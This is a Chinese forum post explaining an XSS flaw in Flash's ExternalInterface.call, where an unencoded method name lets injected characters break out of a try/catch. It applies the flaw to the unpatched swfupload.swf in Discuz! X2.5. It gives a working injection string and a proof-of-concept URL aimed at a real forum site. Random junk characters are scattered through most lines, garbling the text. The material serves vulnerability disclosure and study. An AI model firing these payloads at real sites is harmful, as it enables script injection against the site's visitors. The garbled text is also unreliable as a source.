上回我们说
; ]7 w+ W& m. V8 Y, K
- n- D7 X; k2 J3 c8 Zflash.external.ExternalInterface.call($methodName, $parameter)- }' k2 ?4 ?: H$ l( j5 X( Z
在浏览器中执行的是# Q, U* r: R/ {$ z$ P1 L y) `. q$ }
+ Z9 y; \* M( l9 c% qtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}# l. }; _, |5 Y
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
" {" q& D s- v" G$ f, M/ _
4 x3 j C2 {2 {8 `, Uflash.external.ExternalInterface.call("object."+$methodName, $parameter)
1 V% r. f+ G& ~$ n$methodName = a())}catch(e){alert(/xss/)}//
+ R* Q* P( L) S P+ `& {: L结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
5 `0 @8 a+ R4 t6 R
' z9 ]# d6 l% \: V: B% Gtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }! c1 Q! Y! P) U/ W
" X& E2 j W9 s% z; y这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )5 a. d) U5 {0 x4 x# u7 K! A6 I
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
" K- E$ Z1 P) t3 Q/ {$ F) \5 t0 t; } k
( q* Z; ~* _ c$ {7 W, c& s8 `9 q7 s
! i N, @3 }5 P" \4 h漏洞文件:upload\static\image\common\swfupload.swf: Z0 `2 k. z4 c1 ^" V m
. e) s+ B! l! r! E) r# w原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf# h5 L# j" S4 n# C" L
. q' `4 v9 e3 }$ V" l
4 p5 `1 {# z1 K+ m( o4 L3 L( u漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
9 t; ^, [+ \/ C- ]. D+ e
: v) r" R5 Q) Q: _& c& Q0 x+ a1 |2 o" q6 K' V
|